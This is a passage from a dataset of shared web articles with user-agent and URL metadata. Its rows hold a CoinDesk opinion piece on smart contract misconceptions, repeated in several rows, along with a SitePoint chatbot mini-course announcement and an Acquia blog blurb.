overblown, it's that these expectations are leading many to spend time and money on ideas that cannot possibly be implemented. It seems large companies have sufficient resources to travel a lengthy path - from the moment when senior management encounters a new technology, to when that technology's advantages and limitations are truly understood. Perhaps our own experience can help shorten this time. Over the past nine months, we've been pitched many smart contract use cases, and have found ourselves responding, time and again, that they simply cannot be done. As a result, we've identified the three smart contract misconceptions that are most commonly held. These ideas aren't wrong because the technology is immature, or the tools are not yet available. Rather, they misunderstand the fundamental properties of code which lives in a database and runs in a decentralized way. 1. Contacting external services Often, the first use case proposed is a smart contract that changes its behavior in response to some external event. For example, an agricultural insurance policy which pays out conditionally based on the quantity of rainfall in a given month. The imagined process goes something like this: The smart contract waits until the predetermined time, retrieves the weather report from an external service and behaves appropriately based on the data received. This all sounds simple enough, but it's also impossible. Why? Because a blockchain is a consensus-based system, meaning that it only works if every node reaches an identical state after processing every transaction and block. Everything that takes place on a blockchain must be completely deterministic, with no possible way for differences to creep in. The moment that two honest nodes disagree about the chain's state, the entire system becomes worthless. Now, recall that smart contracts are executed independently by every node on a chain. Therefore, if a smart contract retrieves some information from an external source, this retrieval is performed repeatedly and separately by each node. But because this source is outside of the blockchain, there is no guarantee that every node will receive the same answer. Perhaps the source will change its response in the time between requests from different nodes, or perhaps it will become temporarily unavailable. Either way, consensus is broken and the entire blockchain dies. So, what's the workaround? Actually, it's rather simple. Instead of a smart contract initiating the retrieval of external data, one or more trusted parties (""oracles"") creates a transaction which embeds that data in the chain. Every node will have an identical copy of this data, so it can be safely used in a smart contract computation. In other words, an oracle pushes the data onto the blockchain rather than a smart contract pulling it in. When it comes to smart contracts causing events in the outside world, a similar problem appears. For example, many like the idea of a smart contract which calls a bank's API in order to transfer money. But if every node is independently executing the code in the chain, who is responsible for calling this API? If the answer is just one node, what happens if that particular node malfunctions, deliberately or not? And if the answer is every node, can we trust every node with that API's password? And do we really want the API called hundreds of times? Even worse, if the smart contract needs to know whether the API call was successful, we're right back to the problem of depending on external data. As before, a simple workaround is available. Instead of the smart contract calling an external API, we use a trusted service which monitors the blockchain's state and performs certain actions in response. For example, a bank could proactively watch a blockchain and perform money transfers which mirror the on-chain transactions. This presents no risk to the blockchain's consensus because the chain plays an entirely passive role. Looking at these two workarounds, we can make some observations. First, they both require a trusted entity to manage the interactions between the blockchain and the outside world. While this is technically possible, it undermines the goal of a decentralized system. Second, the mechanisms used in these workarounds are straightforward examples of reading and writing a database. An oracle which provides external information is simply writing that information into the chain. And a service which mirrors the blockchain's state in the real world is doing nothing more than reading from that chain. In other words, any interaction between a blockchain and the outside world is restricted to regular database operations. We'll talk more about this fact later on. 2. Enforcing on-chain payments Here's another proposal that we tend to hear a lot: using a smart contract to automate the payment of coupons for a so-called ""smart bond"". The idea is for the smart contract code to automatically initiate the payments at the appropriate times, avoiding manual processes and guaranteeing that the issuer cannot default. Of course, in order for this to work, the funds used to make the payments must live inside the blockchain as well, otherwise a smart contract could not possibly guarantee their payment. Recall that a blockchain is just a database, in this case a financial ledger containing the issued bond and some cash. So, when we talk about coupon payments, what we're actually talking about are database operations which take place automatically at an agreed time. While this automation is technically feasible, it suffers from a financial difficulty. If the funds used for coupon payments are controlled by the bond's smart contract, then those payments can indeed be guaranteed. But this also means those funds cannot be used by the bond issuer for anything else. And if those funds aren't under the control of the smart contract, then there is no way in which payment can be guaranteed. In other words, a smart bond is either pointless for the issuer, or pointless for the investor. And if you think about it, this is a completely obvious outcome. From an investor's perspective, the whole point of a bond is its attractive rate of return, at the cost of some risk of default. And for the issuer, a bond's purpose is to raise funds for a productive but somewhat risky activity, such as building a new factory. There is no way for the bond issuer to make use of the funds raised, while simultaneously guaranteeing that the investor will be repaid. It should not come as a surprise that the connection between risk and return is not a problem that blockchains can solve. 3. Hiding confidential data As I've written about previously, the biggest challenge in deploying blockchains is the radical transparency which they provide. For example, if 10 banks set up a blockchain together, and two conduct a bilateral transaction, this will be immediately visible to the other eight. While there are various strategies for mitigating this problem, none beat the simplicity and efficiency of a centralized database in which a trusted administrator has full control over who can see what. Some people think that smart contracts can solve this problem. They start with the fact that each smart contract contains its own miniature database, over which it has full control. All read and write operations on this database are mediated by the contract's code, making it impossible for one contract to read another's data directly. (This tight coupling between data and code is called encapsulation, and is the foundation of the popular object-oriented programming paradigm). So, if one smart contract can't access another's data, have we solved the problem of blockchain confidentiality? Does it make sense to talk of hiding information in a smart contract? Unfortunately, the answer is no. Because even if one smart contract can't read another's data, that data is still stored on every single node in the chain. For each blockchain participant, it's in the memory or disk of a system which that participant completely controls. And there's nothing to stop them reading the information from their own system, if and when they choose to do so. Hiding data in a smart contract is about as secure as hiding it in the HTML code of a web page. Sure, regular web users won't see it, because it's not displayed in their browser window. But all it takes is for a web browser to add a 'View Source' function (as they all have), and the information becomes universally visible. Similarly, for data hidden in smart contracts, all it takes is for someone to modify their blockchain software to display the contract's full state, and all semblance of secrecy is lost. A half-decent programmer could do that in an hour or so. What smart contracts are for With so many things that smart contracts cannot do, one might ask what they're actually for. But in order to answer this question, we need to go back to the fundamentals of blockchains themselves. To recap, a blockchain enables a database to be directly and safely shared by entities who do not trust each other, without requiring a central administrator. Blockchains enable data disintermediation, and this can lead to significant savings in complexity and cost. Any database is modified via ""transactions"", which contain a set of changes to that database which must succeed or fail as a whole. For example, in a financial ledger, a payment from Alice to Bob is represented by a transaction that (a) checks if Alice has sufficient funds, (b) deducts a quantity from Alice's account and (c) adds the same quantity to Bob's. In a regular centralized database, these transactions are created by a single trusted authority. By contrast, in a blockchain-driven shared database, transactions can be created by any of that blockchain's users. And since these users do not fully trust each other, the database has to contain rules which restrict the transactions performed. For example, in a peer-to-peer financial ledger, each transaction must preserve the total quantity of funds, otherwise participants could freely give themselves as much money as they liked. One can imagine various ways of expressing these rules, but for now there are two dominant paradigms, inspired by bitcoin and Ethereum, respectively. The bitcoin method, which we might call ""transaction constraints"", evaluates each transaction in terms of: (a) the database entries deleted by that transaction and (b) the entries created. In a financial ledger, the rule states that the total quantity of funds in the deleted entries has to match the total in those created. (We consider the modification of an existing entry to be equivalent to deleting that entry and creating a new one in its place). The second paradigm, which comes from Ethereum, is smart contracts. This states that all modifications to a contract's data must be performed by its code. (In the context of traditional databases, we can think of this as an enforced stored procedure.) To modify a contract's data, blockchain users send requests to its code, which determines whether and how to fulfill those requests. As in this example, the smart contract for a financial ledger performs the same three tasks as the administrator of a centralized database: checking for sufficient funds, deducting from one account and adding to another. Both of these paradigms are effective, and each has its advantages and disadvantages. To summarize, bitcoin-style transaction constraints provide superior concurrency and performance, while Ethereum-style smart contracts offer greater flexibility. So to return to the question of what smart contracts are for: Smart contracts are for blockchain use cases which can't be implemented with transaction constraints. Given this criterion for using smart contracts, I'm yet to see a strong use case for permissioned blockchains which qualifies. All the compelling blockchain applications I know can be implemented with bitcoin-style transactions, which can handle permissioning and general data storage, as well as asset creation, transfer, escrow, exchange and destruction. Nonetheless, new use cases are still appearing, and I wouldn't be surprised if some do require the power of smart contracts. Or, at the very least, an extension of the bitcoin paradigm. Whatever the answer turns out to be, the key to remember is that smart contracts are simply one method for restricting the transactions performed in a database. This is undoubtedly a useful thing, and is essential to making that database safe for sharing. But smart contracts cannot do anything else, and they certainly cannot escape the boundaries of the database in which they reside. Pencil and eraser image via Shutterstock Disclaimer: The views expressed in this article are those of the author and do not necessarily represent the views of, and should not be attributed to, CoinDesk. Ethereum Smart Contracts",en
1485342148,CONTENT REMOVED,-7358932766266901263,-8420584158427265596,-1843663387254811608,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.coindesk.com/three-smart-contract-misconceptions/,Why Many Smart Contract Use Cases Are Simply Impossible - CoinDesk,"Dr Gideon Greenspan is the founder and CEO of Coin Sciences, the company behind the MultiChain platform for private blockchains. In this opinion piece, Greenspan discusses blockchain-enabled smart contracts and why this application of the technology may be suffering from inflated expectations. As the developer of a popular blockchain platform, I sometimes gets asked whether Ethereum-like smart contracts are on the MultiChain roadmap. The answer I always give is always: 'No, or at least not yet'. But in the hype-filled world of blockchains, smart contracts are all the rage, so why ever not? Well, the problem is, while we now know of three strong use cases for permissioned bitcoin-style blockchains (provenance, company recordkeeping and lightweight finance), we've yet to find the equivalent for Ethereum smart contracts. It's not that people don't understand what they want smart contracts to do. Rather, it's that so many of these ideas are simply impossible. When smart people hear the term ""smart contracts"", their imaginations tend to run wild. They conjure up dreams of autonomous intelligent software, going off into the world, taking data along for the ride. Unfortunately, the reality of smart contracts is more mundane. A smart contract is a piece of code that is stored on an blockchain, triggered by blockchain transactions and which reads and writes data in that blockchain's database. That's it. Really. A smart contract is just a fancy name for code that runs on a blockchain, and interacts with that blockchain's state. And what is the code? It's Pascal, it's Python, it's PHP. It's Java, it's Fortran, it's C++. If we're talking databases, it's stored procedures written in an extension of SQL. All of these languages are fundamentally equivalent, solving the same sorts of problems in the same sorts of ways. Of course, each has its strengths and weaknesses - you'd be crazy to build a website in C or compress HD video in Ruby. But in principle at least, you could if you wanted to. You'd just pay a heavy price in terms of convenience, performance, and quite probably, your hair. The problem with smart contracts isn't just that people's expectations are overblown, it's that these expectations are leading many to spend time and money on ideas that cannot possibly be implemented. It seems large companies have sufficient resources to travel a lengthy path - from the moment when senior management encounters a new technology, to when that technology's advantages and limitations are truly understood. Perhaps our own experience can help shorten this time. Over the past nine months, we've been pitched many smart contract use cases, and have found ourselves responding, time and again, that they simply cannot be done. As a result, we've identified the three smart contract misconceptions that are most commonly held. These ideas aren't wrong because the technology is immature, or the tools are not yet available. Rather, they misunderstand the fundamental properties of code which lives in a database and runs in a decentralized way. 1. Contacting external services Often, the first use case proposed is a smart contract that changes its behavior in response to some external event. For example, an agricultural insurance policy which pays out conditionally based on the quantity of rainfall in a given month. The imagined process goes something like this: The smart contract waits until the predetermined time, retrieves the weather report from an external service and behaves appropriately based on the data received. This all sounds simple enough, but it's also impossible. Why? Because a blockchain is a consensus-based system, meaning that it only works if every node reaches an identical state after processing every transaction and block. Everything that takes place on a blockchain must be completely deterministic, with no possible way for differences to creep in. The moment that two honest nodes disagree about the chain's state, the entire system becomes worthless. Now, recall that smart contracts are executed independently by every node on a chain. Therefore, if a smart contract retrieves some information from an external source, this retrieval is performed repeatedly and separately by each node. But because this source is outside of the blockchain, there is no guarantee that every node will receive the same answer. Perhaps the source will change its response in the time between requests from different nodes, or perhaps it will become temporarily unavailable. Either way, consensus is broken and the entire blockchain dies. So, what's the workaround? Actually, it's rather simple. Instead of a smart contract initiating the retrieval of external data, one or more trusted parties (""oracles"") creates a transaction which embeds that data in the chain. Every node will have an identical copy of this data, so it can be safely used in a smart contract computation. In other words, an oracle pushes the data onto the blockchain rather than a smart contract pulling it in. When it comes to smart contracts causing events in the outside world, a similar problem appears. For example, many like the idea of a smart contract which calls a bank's API in order to transfer money. But if every node is independently executing the code in the chain, who is responsible for calling this API? If the answer is just one node, what happens if that particular node malfunctions, deliberately or not? And if the answer is every node, can we trust every node with that API's password? And do we really want the API called hundreds of times? Even worse, if the smart contract needs to know whether the API call was successful, we're right back to the problem of depending on external data. As before, a simple workaround is available. Instead of the smart contract calling an external API, we use a trusted service which monitors the blockchain's state and performs certain actions in response. For example, a bank could proactively watch a blockchain and perform money transfers which mirror the on-chain transactions. This presents no risk to the blockchain's consensus because the chain plays an entirely passive role. Looking at these two workarounds, we can make some observations. First, they both require a trusted entity to manage the interactions between the blockchain and the outside world. While this is technically possible, it undermines the goal of a decentralized system. Second, the mechanisms used in these workarounds are straightforward examples of reading and writing a database. An oracle which provides external information is simply writing that information into the chain. And a service which mirrors the blockchain's state in the real world is doing nothing more than reading from that chain. In other words, any interaction between a blockchain and the outside world is restricted to regular database operations. We'll talk more about this fact later on. 2. Enforcing on-chain payments Here's another proposal that we tend to hear a lot: using a smart contract to automate the payment of coupons for a so-called ""smart bond"". The idea is for the smart contract code to automatically initiate the payments at the appropriate times, avoiding manual processes and guaranteeing that the issuer cannot default. Of course, in order for this to work, the funds used to make the payments must live inside the blockchain as well, otherwise a smart contract could not possibly guarantee their payment. Recall that a blockchain is just a database, in this case a financial ledger containing the issued bond and some cash. So, when we talk about coupon payments, what we're actually talking about are database operations which take place automatically at an agreed time. While this automation is technically feasible, it suffers from a financial difficulty. If the funds used for coupon payments are controlled by the bond's smart contract, then those payments can indeed be guaranteed. But this also means those funds cannot be used by the bond issuer for anything else. And if those funds aren't under the control of the smart contract, then there is no way in which payment can be guaranteed. In other words, a smart bond is either pointless for the issuer, or pointless for the investor. And if you think about it, this is a completely obvious outcome. From an investor's perspective, the whole point of a bond is its attractive rate of return, at the cost of some risk of default. And for the issuer, a bond's purpose is to raise funds for a productive but somewhat risky activity, such as building a new factory. There is no way for the bond issuer to make use of the funds raised, while simultaneously guaranteeing that the investor will be repaid. It should not come as a surprise that the connection between risk and return is not a problem that blockchains can solve. 3. Hiding confidential data As I've written about previously, the biggest challenge in deploying blockchains is the radical transparency which they provide. For example, if 10 banks set up a blockchain together, and two conduct a bilateral transaction, this will be immediately visible to the other eight. While there are various strategies for mitigating this problem, none beat the simplicity and efficiency of a centralized database in which a trusted administrator has full control over who can see what. Some people think that smart contracts can solve this problem. They start with the fact that each smart contract contains its own miniature database, over which it has full control. All read and write operations on this database are mediated by the contract's code, making it impossible for one contract to read another's data directly. (This tight coupling between data and code is called encapsulation, and is the foundation of the popular object-oriented programming paradigm). So, if one smart contract can't access another's data, have we solved the problem of blockchain confidentiality? Does it make sense to talk of hiding information in a smart contract? Unfortunately, the answer is no. Because even if one smart contract can't read another's data, that data is still stored on every single node in the chain. For each blockchain participant, it's in the memory or disk of a system which that participant completely controls. And there's nothing to stop them reading the information from their own system, if and when they choose to do so. Hiding data in a smart contract is about as secure as hiding it in the HTML code of a web page. Sure, regular web users won't see it, because it's not displayed in their browser window. But all it takes is for a web browser to add a 'View Source' function (as they all have), and the information becomes universally visible. Similarly, for data hidden in smart contracts, all it takes is for someone to modify their blockchain software to display the contract's full state, and all semblance of secrecy is lost. A half-decent programmer could do that in an hour or so. What smart contracts are for With so many things that smart contracts cannot do, one might ask what they're actually for. But in order to answer this question, we need to go back to the fundamentals of blockchains themselves. To recap, a blockchain enables a database to be directly and safely shared by entities who do not trust each other, without requiring a central administrator. Blockchains enable data disintermediation, and this can lead to significant savings in complexity and cost. Any database is modified via ""transactions"", which contain a set of changes to that database which must succeed or fail as a whole. For example, in a financial ledger, a payment from Alice to Bob is represented by a transaction that (a) checks if Alice has sufficient funds, (b) deducts a quantity from Alice's account and (c) adds the same quantity to Bob's. In a regular centralized database, these transactions are created by a single trusted authority. By contrast, in a blockchain-driven shared database, transactions can be created by any of that blockchain's users. And since these users do not fully trust each other, the database has to contain rules which restrict the transactions performed. For example, in a peer-to-peer financial ledger, each transaction must preserve the total quantity of funds, otherwise participants could freely give themselves as much money as they liked. One can imagine various ways of expressing these rules, but for now there are two dominant paradigms, inspired by bitcoin and Ethereum, respectively. The bitcoin method, which we might call ""transaction constraints"", evaluates each transaction in terms of: (a) the database entries deleted by that transaction and (b) the entries created. In a financial ledger, the rule states that the total quantity of funds in the deleted entries has to match the total in those created. (We consider the modification of an existing entry to be equivalent to deleting that entry and creating a new one in its place). The second paradigm, which comes from Ethereum, is smart contracts. This states that all modifications to a contract's data must be performed by its code. (In the context of traditional databases, we can think of this as an enforced stored procedure.) To modify a contract's data, blockchain users send requests to its code, which determines whether and how to fulfill those requests. As in this example, the smart contract for a financial ledger performs the same three tasks as the administrator of a centralized database: checking for sufficient funds, deducting from one account and adding to another. Both of these paradigms are effective, and each has its advantages and disadvantages. To summarize, bitcoin-style transaction constraints provide superior concurrency and performance, while Ethereum-style smart contracts offer greater flexibility. So to return to the question of what smart contracts are for: Smart contracts are for blockchain use cases which can't be implemented with transaction constraints. Given this criterion for using smart contracts, I'm yet to see a strong use case for permissioned blockchains which qualifies. All the compelling blockchain applications I know can be implemented with bitcoin-style transactions, which can handle permissioning and general data storage, as well as asset creation, transfer, escrow, exchange and destruction. Nonetheless, new use cases are still appearing, and I wouldn't be surprised if some do require the power of smart contracts. Or, at the very least, an extension of the bitcoin paradigm. Whatever the answer turns out to be, the key to remember is that smart contracts are simply one method for restricting the transactions performed in a database. This is undoubtedly a useful thing, and is essential to making that database safe for sharing. But smart contracts cannot do anything else, and they certainly cannot escape the boundaries of the database in which they reside. Pencil and eraser image via Shutterstock Disclaimer: The views expressed in this article are those of the author and do not necessarily represent the views of, and should not be attributed to, CoinDesk. Ethereum Smart Contracts",en
1485343379,CONTENT SHARED,8550670510357310628,-8420584158427265596,-1843663387254811608,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.coindesk.com/three-smart-contract-misconceptions/,Why Many Smart Contract Use Cases Are Simply Impossible - CoinDesk,"Dr Gideon Greenspan is the founder and CEO of Coin Sciences, the company behind the MultiChain platform for private blockchains. In this opinion piece, Greenspan discusses blockchain-enabled smart contracts and why this application of the technology may be suffering from inflated expectations. As the developer of a popular blockchain platform, I sometimes gets asked whether Ethereum-like smart contracts are on the MultiChain roadmap. The answer I always give is always: 'No, or at least not yet'. But in the hype-filled world of blockchains, smart contracts are all the rage, so why ever not? Well, the problem is, while we now know of three strong use cases for permissioned bitcoin-style blockchains (provenance, company recordkeeping and lightweight finance), we've yet to find the equivalent for Ethereum smart contracts. It's not that people don't understand what they want smart contracts to do. Rather, it's that so many of these ideas are simply impossible. When smart people hear the term ""smart contracts"", their imaginations tend to run wild. They conjure up dreams of autonomous intelligent software, going off into the world, taking data along for the ride. Unfortunately, the reality of smart contracts is more mundane. A smart contract is a piece of code that is stored on an blockchain, triggered by blockchain transactions and which reads and writes data in that blockchain's database. That's it. Really. A smart contract is just a fancy name for code that runs on a blockchain, and interacts with that blockchain's state. And what is the code? It's Pascal, it's Python, it's PHP. It's Java, it's Fortran, it's C++. If we're talking databases, it's stored procedures written in an extension of SQL. All of these languages are fundamentally equivalent, solving the same sorts of problems in the same sorts of ways. Of course, each has its strengths and weaknesses - you'd be crazy to build a website in C or compress HD video in Ruby. But in principle at least, you could if you wanted to. You'd just pay a heavy price in terms of convenience, performance, and quite probably, your hair. The problem with smart contracts isn't just that people's expectations are overblown, it's that these expectations are leading many to spend time and money on ideas that cannot possibly be implemented. It seems large companies have sufficient resources to travel a lengthy path - from the moment when senior management encounters a new technology, to when that technology's advantages and limitations are truly understood. Perhaps our own experience can help shorten this time. Over the past nine months, we've been pitched many smart contract use cases, and have found ourselves responding, time and again, that they simply cannot be done. As a result, we've identified the three smart contract misconceptions that are most commonly held. These ideas aren't wrong because the technology is immature, or the tools are not yet available. Rather, they misunderstand the fundamental properties of code which lives in a database and runs in a decentralized way. 1. Contacting external services Often, the first use case proposed is a smart contract that changes its behavior in response to some external event. For example, an agricultural insurance policy which pays out conditionally based on the quantity of rainfall in a given month. The imagined process goes something like this: The smart contract waits until the predetermined time, retrieves the weather report from an external service and behaves appropriately based on the data received. This all sounds simple enough, but it's also impossible. Why? Because a blockchain is a consensus-based system, meaning that it only works if every node reaches an identical state after processing every transaction and block. Everything that takes place on a blockchain must be completely deterministic, with no possible way for differences to creep in. The moment that two honest nodes disagree about the chain's state, the entire system becomes worthless. Now, recall that smart contracts are executed independently by every node on a chain. Therefore, if a smart contract retrieves some information from an external source, this retrieval is performed repeatedly and separately by each node. But because this source is outside of the blockchain, there is no guarantee that every node will receive the same answer. Perhaps the source will change its response in the time between requests from different nodes, or perhaps it will become temporarily unavailable. Either way, consensus is broken and the entire blockchain dies. So, what's the workaround? Actually, it's rather simple. Instead of a smart contract initiating the retrieval of external data, one or more trusted parties (""oracles"") creates a transaction which embeds that data in the chain. Every node will have an identical copy of this data, so it can be safely used in a smart contract computation. In other words, an oracle pushes the data onto the blockchain rather than a smart contract pulling it in. When it comes to smart contracts causing events in the outside world, a similar problem appears. For example, many like the idea of a smart contract which calls a bank's API in order to transfer money. But if every node is independently executing the code in the chain, who is responsible for calling this API? If the answer is just one node, what happens if that particular node malfunctions, deliberately or not? And if the answer is every node, can we trust every node with that API's password? And do we really want the API called hundreds of times? Even worse, if the smart contract needs to know whether the API call was successful, we're right back to the problem of depending on external data. As before, a simple workaround is available. Instead of the smart contract calling an external API, we use a trusted service which monitors the blockchain's state and performs certain actions in response. For example, a bank could proactively watch a blockchain and perform money transfers which mirror the on-chain transactions. This presents no risk to the blockchain's consensus because the chain plays an entirely passive role. Looking at these two workarounds, we can make some observations. First, they both require a trusted entity to manage the interactions between the blockchain and the outside world. While this is technically possible, it undermines the goal of a decentralized system. Second, the mechanisms used in these workarounds are straightforward examples of reading and writing a database. An oracle which provides external information is simply writing that information into the chain. And a service which mirrors the blockchain's state in the real world is doing nothing more than reading from that chain. In other words, any interaction between a blockchain and the outside world is restricted to regular database operations. We'll talk more about this fact later on. 2. Enforcing on-chain payments Here's another proposal that we tend to hear a lot: using a smart contract to automate the payment of coupons for a so-called ""smart bond"". The idea is for the smart contract code to automatically initiate the payments at the appropriate times, avoiding manual processes and guaranteeing that the issuer cannot default. Of course, in order for this to work, the funds used to make the payments must live inside the blockchain as well, otherwise a smart contract could not possibly guarantee their payment. Recall that a blockchain is just a database, in this case a financial ledger containing the issued bond and some cash. So, when we talk about coupon payments, what we're actually talking about are database operations which take place automatically at an agreed time. While this automation is technically feasible, it suffers from a financial difficulty. If the funds used for coupon payments are controlled by the bond's smart contract, then those payments can indeed be guaranteed. But this also means those funds cannot be used by the bond issuer for anything else. And if those funds aren't under the control of the smart contract, then there is no way in which payment can be guaranteed. In other words, a smart bond is either pointless for the issuer, or pointless for the investor. And if you think about it, this is a completely obvious outcome. From an investor's perspective, the whole point of a bond is its attractive rate of return, at the cost of some risk of default. And for the issuer, a bond's purpose is to raise funds for a productive but somewhat risky activity, such as building a new factory. There is no way for the bond issuer to make use of the funds raised, while simultaneously guaranteeing that the investor will be repaid. It should not come as a surprise that the connection between risk and return is not a problem that blockchains can solve. 3. Hiding confidential data As I've written about previously, the biggest challenge in deploying blockchains is the radical transparency which they provide. For example, if 10 banks set up a blockchain together, and two conduct a bilateral transaction, this will be immediately visible to the other eight. While there are various strategies for mitigating this problem, none beat the simplicity and efficiency of a centralized database in which a trusted administrator has full control over who can see what. Some people think that smart contracts can solve this problem. They start with the fact that each smart contract contains its own miniature database, over which it has full control. All read and write operations on this database are mediated by the contract's code, making it impossible for one contract to read another's data directly. (This tight coupling between data and code is called encapsulation, and is the foundation of the popular object-oriented programming paradigm). So, if one smart contract can't access another's data, have we solved the problem of blockchain confidentiality? Does it make sense to talk of hiding information in a smart contract? Unfortunately, the answer is no. Because even if one smart contract can't read another's data, that data is still stored on every single node in the chain. For each blockchain participant, it's in the memory or disk of a system which that participant completely controls. And there's nothing to stop them reading the information from their own system, if and when they choose to do so. Hiding data in a smart contract is about as secure as hiding it in the HTML code of a web page. Sure, regular web users won't see it, because it's not displayed in their browser window. But all it takes is for a web browser to add a 'View Source' function (as they all have), and the information becomes universally visible. Similarly, for data hidden in smart contracts, all it takes is for someone to modify their blockchain software to display the contract's full state, and all semblance of secrecy is lost. A half-decent programmer could do that in an hour or so. What smart contracts are for With so many things that smart contracts cannot do, one might ask what they're actually for. But in order to answer this question, we need to go back to the fundamentals of blockchains themselves. To recap, a blockchain enables a database to be directly and safely shared by entities who do not trust each other, without requiring a central administrator. Blockchains enable data disintermediation, and this can lead to significant savings in complexity and cost. Any database is modified via ""transactions"", which contain a set of changes to that database which must succeed or fail as a whole. For example, in a financial ledger, a payment from Alice to Bob is represented by a transaction that (a) checks if Alice has sufficient funds, (b) deducts a quantity from Alice's account and (c) adds the same quantity to Bob's. In a regular centralized database, these transactions are created by a single trusted authority. By contrast, in a blockchain-driven shared database, transactions can be created by any of that blockchain's users. And since these users do not fully trust each other, the database has to contain rules which restrict the transactions performed. For example, in a peer-to-peer financial ledger, each transaction must preserve the total quantity of funds, otherwise participants could freely give themselves as much money as they liked. One can imagine various ways of expressing these rules, but for now there are two dominant paradigms, inspired by bitcoin and Ethereum, respectively. The bitcoin method, which we might call ""transaction constraints"", evaluates each transaction in terms of: (a) the database entries deleted by that transaction and (b) the entries created. In a financial ledger, the rule states that the total quantity of funds in the deleted entries has to match the total in those created. (We consider the modification of an existing entry to be equivalent to deleting that entry and creating a new one in its place). The second paradigm, which comes from Ethereum, is smart contracts. This states that all modifications to a contract's data must be performed by its code. (In the context of traditional databases, we can think of this as an enforced stored procedure.) To modify a contract's data, blockchain users send requests to its code, which determines whether and how to fulfill those requests. As in this example, the smart contract for a financial ledger performs the same three tasks as the administrator of a centralized database: checking for sufficient funds, deducting from one account and adding to another. Both of these paradigms are effective, and each has its advantages and disadvantages. To summarize, bitcoin-style transaction constraints provide superior concurrency and performance, while Ethereum-style smart contracts offer greater flexibility. So to return to the question of what smart contracts are for: Smart contracts are for blockchain use cases which can't be implemented with transaction constraints. Given this criterion for using smart contracts, I'm yet to see a strong use case for permissioned blockchains which qualifies. All the compelling blockchain applications I know can be implemented with bitcoin-style transactions, which can handle permissioning and general data storage, as well as asset creation, transfer, escrow, exchange and destruction. Nonetheless, new use cases are still appearing, and I wouldn't be surprised if some do require the power of smart contracts. Or, at the very least, an extension of the bitcoin paradigm. Whatever the answer turns out to be, the key to remember is that smart contracts are simply one method for restricting the transactions performed in a database. This is undoubtedly a useful thing, and is essential to making that database safe for sharing. But smart contracts cannot do anything else, and they certainly cannot escape the boundaries of the database in which they reside. Pencil and eraser image via Shutterstock Disclaimer: The views expressed in this article are those of the author and do not necessarily represent the views of, and should not be attributed to, CoinDesk. Ethereum Smart Contracts",en
1485362262,CONTENT SHARED,-5829402940194444779,3609194402293569455,-3248494234497722227,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/introducing-mini-courses-with-chatbots/,Introducing Mini Courses with MS Chatbots,"Most of you who visit SitePoint are on a quest to learn. When we run into a problem, we quickly search for a solution. If we're not familiar enough with a web topic, or want to expand our knowledge in a particular skill set or tool, we look for quick lessons to teach us more. We're always researching. With increasing time constraints, it can be hard finding time to work/study, eat, socialize, and sleep. There's no wonder we tend to put our bookmarked 2-6 hour course on the backburner. We get it . That's why we're happy to introduce Mini Courses , it's a shorter course especially made for your quick breaks. What Makes Mini Courses Different from Courses? Apart from it being shorter, you'll also notice that mini-courses are a lot more focused, and really explore a topic, skipping the fundamental basics of web development. We'll dig deep into niche topics, frameworks, and tools, giving you a larger library to learn from. The biggest and best news is... it's free! That's right. You will need to be a SitePoint user to access our Mini Courses, but that's as simple as a click of a button to join. When is Our first Mini Course Available? Today! We've just launched our very first Mini Course on MS Bots . Bots have slowly been taking over the development landscape, with predictions that they will cause a decline in app development. Now you can learn about what's involved in developing your very own chatbot using the Microsoft Bot Framework . What will MS Bots cover? In this 1-hour course, we'll also show you how to incorporate smart tools such as a LUIS.ai , a language comprehension tool for your bot. No chatbot is truly complete without having a human touch, and that's available through the Text Analytic API for sentiment analysis and appropriate bot responses. By the end, you'll have built a Skype bot that recommends movies using all the tools I've mentioned above and more . What exactly will you be learning and how? Let's dig a little deeper into these lessons. Getting started with the Microsoft Bot Frameworks We'll show you how to get up and ready to create your first Skype bot using the Microsoft Bot Framework. Testing Skype Bots You'll always find you run into bugs when developing anything. We'll show you how to debug your Skype bot using the ngrok inspection tool, and test it using the Bot Framework Emulator. Natural Language Processing with LUIS No one likes a one-sided conversation, so we'll create models in LUIS for our bot to understand and process natural language. Microsoft Cognitive Services with the Text Analytics API Apart from one-sided conversations, everyone wants to feel understood. We'll integrate the Text Analytics API into our chat bot so our bot can chat accordingly with sentiment. Formatting Messages with Cards This is for the designer in you. We'll show you (and your bot) how to format your Skype messages with images and buttons. The Azure Bot Service The Azure Bot Service is an industry first bot-as-a-service, service. We'll teach you how to use this integrated online environment for this and all other bot development you may work on. MS Bots is a fun course to take, but we do recommend that you have a good understanding of Node.js to make the most of it. If you need to brush up on Node.js, here's a course you could take. Are you ready to start your chatbot adventure? The real question is, after taking this quick course , what will your next chatbot do?",en
1485365103,CONTENT SHARED,-3660106964555224100,2416280733544962613,-8664314282558680268,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",CA,US,HTML,http://buytaert.net/acquia-a-leader-in-the-2017-forrester-wave-for-web-content-management-systems,Acquia a leader in the 2017 Forrester Wave for Web Content Management Systems | Dries Buytaert,"Since its founding, Acquia has helped set the standard for cloud-based delivery of web content management. This year's Forrester report shows that many of our competitors are only now introducing a cloud delivery platform. Acquia's eight year commitment to the cloud is one of the reasons why we were deemed the leading vendor for strategy.",en
